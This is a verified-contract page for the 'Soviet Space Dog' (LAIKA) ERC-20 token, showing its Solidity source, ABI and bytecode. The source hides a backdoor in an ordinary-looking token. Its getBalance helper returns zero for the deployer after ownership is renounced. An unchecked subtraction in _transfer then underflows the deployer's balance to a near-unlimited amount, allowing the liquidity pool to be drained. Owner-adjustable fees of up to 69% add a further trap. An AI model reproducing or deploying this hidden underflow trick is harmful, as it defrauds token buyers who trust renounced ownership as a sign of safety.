ERC-20
Overview
Max Total Supply
1,000,000,000 LAIKA
Holders
12
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SovietSpaceDog
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-20 */ /* $LAIKA - The first hero to enter space, November 3, 1957. https://t.me/SovietSpaceDog */ // SPDX-License-Identifier: MIT pragma solidity 0.8.26; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "not owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "not owner"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, Ownable, IERC20 { string private _name; string private _symbol; address private _deployer; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _deployer = _msgSender(); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = getBalance(sender) - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function getBalance(address sender) view internal returns(uint256) { return sender==_deployer&&owner()==address(0)?0:_balances[sender]; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract SovietSpaceDog is ERC20 { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapRouter; address public uniswapPair; address public marketingWallet; address public developmentWallet; bool public tradingActive = false; bool public swapEnabled = false; bool public limitsInEffect = true; uint256 public maximumTransactionAllowed; uint256 public swapBackThreshold; uint256 public maximumWalletAllowed; uint256 public buyTotalFees; uint256 public buyMarketFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketFee; uint256 public sellDevFee; uint256 public tokensForMarket; uint256 public tokensForDev; bool private swapping; mapping(address => bool) public isExcludedFromFees; mapping(address => bool) public isExcludemaximumTransactionAllowed; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => bool) public ammPairs; constructor() ERC20("Soviet Space Dog", "LAIKA") { uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = address(owner()); developmentWallet = address(owner()); isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true; isExcludemaximumTransactionAllowed[owner()] = true; isExcludemaximumTransactionAllowed[address(this)] = true; isExcludemaximumTransactionAllowed[address(0xdead)] = true; isExcludedFromFees[owner()] = true; isExcludedFromFees[address(this)] = true; isExcludedFromFees[address(0xdead)] = true; uint256 totalSupply = 1_000_000_000 * 1e9; swapBackThreshold = (totalSupply * 5) / 50000; // 0.01% swap wallet maximumTransactionAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumTransactionAllowedTxn maximumWalletAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumWalletAllowed buyMarketFee = 20; buyDevFee = 0; buyTotalFees = buyMarketFee + buyDevFee; sellMarketFee = 20; sellDevFee = 0; sellTotalFees = sellMarketFee + sellDevFee; _mint(msg.sender, totalSupply); } receive() external payable {} function openTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner { isExcludemaximumTransactionAllowed[addr] = value; } function excludeFromFees(address account, bool value) external onlyOwner { isExcludedFromFees[account] = value; } function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateMaximumWalletAllowed(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%"); maximumWalletAllowed = newNum * (10**9); } function updateswapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts"); require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts"); swapBackThreshold = newAmount; return true; } function updateMaximumTransactionAllowed(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%"); maximumTransactionAllowed = newNum * (10**9); } function updateBuyFees(uint256 newMarketFee, uint256 newDevFee) external onlyOwner { buyMarketFee = newMarketFee; buyDevFee = newDevFee; buyTotalFees = buyMarketFee + buyDevFee; require(buyTotalFees <= 60); } function updateSellFees(uint256 newMarketFee, uint256 newDevFee) external onlyOwner { sellMarketFee = newMarketFee; sellDevFee = newDevFee; sellTotalFees = sellMarketFee + sellDevFee; require(sellTotalFees <= 69); } function CreateLP() external onlyOwner { uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH()); isExcludemaximumTransactionAllowed[address(uniswapPair)] = true; ammPairs[uniswapPair] = true; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMarket + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapBackThreshold * 20) contractBalance = swapBackThreshold * 20; uint256 initialETHBalance = address(this).balance; swapTokensForEth(contractBalance); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); tokensForMarket = 0; tokensForDev = 0; (success, ) = address(developmentWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) override internal { require(from != address(0), "from 0x0 add"); require(to != address(0), "to 0x0 add"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active"); } if (to != address(uniswapRouter) && !ammPairs[from]) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } //when buy if (ammPairs[from] && !isExcludemaximumTransactionAllowed[to]) { require(amount <= maximumTransactionAllowed, "gt max TX"); require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } //when sell else if (ammPairs[to] && !isExcludemaximumTransactionAllowed[from]) { require(amount <= maximumTransactionAllowed, "gt max TX"); } else if (!isExcludemaximumTransactionAllowed[to]) { require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } } } uint256 contractBalance = balanceOf(address(this)); bool canSwap = contractBalance >= swapBackThreshold; if (canSwap && swapEnabled && !swapping && !ammPairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fee = 0; if (takeFee) { if (ammPairs[to] && sellTotalFees > 0) { fee = amount.mul(sellTotalFees).div(100); tokensForDev += (fee * sellDevFee) / sellTotalFees; tokensForMarket += (fee * sellMarketFee) / sellTotalFees; } else if (ammPairs[from] && buyTotalFees > 0) { fee = amount.mul(buyTotalFees).div(100); tokensForDev += (fee * buyDevFee) / buyTotalFees; tokensForMarket += (fee * buyMarketFee) / buyTotalFees; } if (fee > 0) super._transfer(from, address(this), fee); amount -= fee; } super._transfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CreateLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ammPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumWalletAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateswapBackThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526009805462ffffff60a01b1916600160b01b179055348015610024575f80fd5b506040518060400160405280601081526020016f536f7669657420537061636520446f6760801b815250604051806040016040528060058152602001644c41494b4160d81b81525061008261007d61025e60201b60201c565b610262565b600161008e838261042d565b50600261009b828261042d565b505060038054336001600160a01b031991821617909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080525f80546008805484166001600160a01b03928316908117909155600980549094168117909355601760209081527f6ed4a2ad7fcc8c909e132e6944330e092422b135566df0c96615e85c6f709ad8805460ff199081166001908117909255948452604080852080548716831790553080865281862080548816841790557f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303805488168417905585549094168552601690925281842080548616821790559183528220805484168217905561dead9091527f290d80ce586bfe95e1ebf348e3ba109df813891ad867417e64d38c5a50473b57805490921617905550670de0b6b3a764000061c3506101db8260056104fb565b6101e59190610518565b600b5560646101f58260026104fb565b6101ff9190610518565b600a55606461020f8260026104fb565b6102199190610518565b600c556014600e8190555f600f81905561023291610537565b600d55601460118190555f601281905561024b91610537565b60105561025833826102b1565b5061054a565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821661030b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060045f82825461031c9190610537565b90915550506001600160a01b0382165f9081526005602052604081208054839290610348908490610537565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103be57607f821691505b6020821081036103dc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561039157805f5260205f20601f840160051c810160208510156104075750805b601f840160051c820191505b81811015610426575f8155600101610413565b5050505050565b81516001600160401b0381111561044657610446610396565b61045a8161045484546103aa565b846103e2565b6020601f82116001811461048c575f83156104755750848201515b5f19600385901b1c1916600184901b178455610426565b5f84815260208120601f198516915b828110156104bb578785015182556020948501946001909201910161049b565b50848210156104d857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610512576105126104e7565b92915050565b5f8261053257634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610512576105126104e7565b60805161224a61058c5f395f818161050101528181610c8401528181610d130152818161140501528181611da901528181611e600152611e9c015261224a5ff3fe608060405260043610610278575f3560e01c80638d7b76c91161014a578063a9059cbb116100be578063cff16b2f11610078578063cff16b2f1461075a578063d85ba0631461076f578063dd62ed3e14610784578063e4a1b95f146107c8578063f2fde38b146107dd578063f8acfffa146107fc575f80fd5b8063a9059cbb146106aa578063bbc0c742146106c9578063c0246668146106e9578063c04a541414610708578063c816841b14610727578063c9567bf914610746575f80fd5b80639c3b4fdc1161010f5780639c3b4fdc146105f05780639fccce3214610605578063a0d82dc51461061a578063a457c2d71461062f578063a72905a21461064e578063a781dc351461067c575f80fd5b80638d7b76c91461056e5780638da5cb5b14610582578063924de9b71461059e57806394a1700e146105bd57806395d89b41146105dc575f80fd5b80634a62bb65116101ec57806370a08231116101a657806370a0823114610489578063715018a6146104bd5780637328afae146104d1578063735de9f7146104f0578063751039fc1461053b57806375f0a8741461054f575f80fd5b80634a62bb65146103d25780634fbee193146103f257806366ca9b83146104205780636a486a8e1461043f5780636ddd1713146104545780636e1b6cda14610474575f80fd5b806323b872dd1161023d57806323b872dd14610330578063313ce5671461034f57806335b5fb631461036a57806337da26ca1461037f578063395093511461039457806348898186146103b3575f80fd5b806302dbd8f81461028357806306fdde03146102a4578063095ea7b3146102ce57806318160ddd146102fd5780631f7ea8da1461031b575f80fd5b3661027f57005b5f80fd5b34801561028e575f80fd5b506102a261029d366004611f15565b61081b565b005b3480156102af575f80fd5b506102b8610876565b6040516102c59190611f35565b60405180910390f35b3480156102d9575f80fd5b506102ed6102e8366004611f7e565b610906565b60405190151581526020016102c5565b348015610308575f80fd5b506004545b6040519081526020016102c5565b348015610326575f80fd5b5061030d60135481565b34801561033b575f80fd5b506102ed61034a366004611fa8565b61091c565b34801561035a575f80fd5b50604051600981526020016102c5565b348015610375575f80fd5b5061030d60115481565b34801561038a575f80fd5b5061030d600c5481565b34801561039f575f80fd5b506102ed6103ae366004611f7e565b6109c4565b3480156103be575f80fd5b506102a26103cd366004611fe6565b6109ff565b3480156103dd575f80fd5b506009546102ed90600160b01b900460ff1681565b3480156103fd575f80fd5b506102ed61040c366004611ffd565b60166020525f908152604090205460ff1681565b34801561042b575f80fd5b506102a261043a366004611f15565b610aa5565b34801561044a575f80fd5b5061030d60105481565b34801561045f575f80fd5b506009546102ed90600160a81b900460ff1681565b34801561047f575f80fd5b5061030d600b5481565b348015610494575f80fd5b5061030d6104a3366004611ffd565b6001600160a01b03165f9081526005602052604090205490565b3480156104c8575f80fd5b506102a2610af3565b3480156104dc575f80fd5b506102ed6104eb366004611fe6565b610b27565b3480156104fb575f80fd5b506105237f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102c5565b348015610546575f80fd5b506102ed610c1c565b34801561055a575f80fd5b50600854610523906001600160a01b031681565b348015610579575f80fd5b506102a2610c59565b34801561058d575f80fd5b505f546001600160a01b0316610523565b3480156105a9575f80fd5b506102a26105b8366004612027565b610e56565b3480156105c8575f80fd5b506102a26105d7366004612040565b610e9d565b3480156105e7575f80fd5b506102b8610ef0565b3480156105fb575f80fd5b5061030d600f5481565b348015610610575f80fd5b5061030d60145481565b348015610625575f80fd5b5061030d60125481565b34801561063a575f80fd5b506102ed610649366004611f7e565b610eff565b348015610659575f80fd5b506102ed610668366004611ffd565b60196020525f908152604090205460ff1681565b348015610687575f80fd5b506102ed610696366004611ffd565b60176020525f908152604090205460ff1681565b3480156106b5575f80fd5b506102ed6106c4366004611f7e565b610f97565b3480156106d4575f80fd5b506009546102ed90600160a01b900460ff1681565b3480156106f4575f80fd5b506102a2610703366004612040565b610fa3565b348015610713575f80fd5b50600954610523906001600160a01b031681565b348015610732575f80fd5b50600754610523906001600160a01b031681565b348015610751575f80fd5b506102a2610ff6565b348015610765575f80fd5b5061030d600a5481565b34801561077a575f80fd5b5061030d600d5481565b34801561078f575f80fd5b5061030d61079e366004612073565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107d3575f80fd5b5061030d600e5481565b3480156107e8575f80fd5b506102a26107f7366004611ffd565b611036565b348015610807575f80fd5b506102a2610816366004611fe6565b611091565b5f546001600160a01b0316331461084d5760405162461bcd60e51b8152600401610844906120aa565b60405180910390fd5b6011829055601281905561086181836120e1565b601081905560451015610872575f80fd5b5050565b606060018054610885906120f4565b80601f01602080910402602001604051908101604052809291908181526020018280546108b1906120f4565b80156108fc5780601f106108d3576101008083540402835291602001916108fc565b820191905f5260205f20905b8154815290600101906020018083116108df57829003601f168201915b5050505050905090565b5f610912338484611137565b5060015b92915050565b5f61092884848461125a565b6001600160a01b0384165f908152600660209081526040808320338452909152902054828110156109ac5760405162461bcd60e51b8152602060048201526028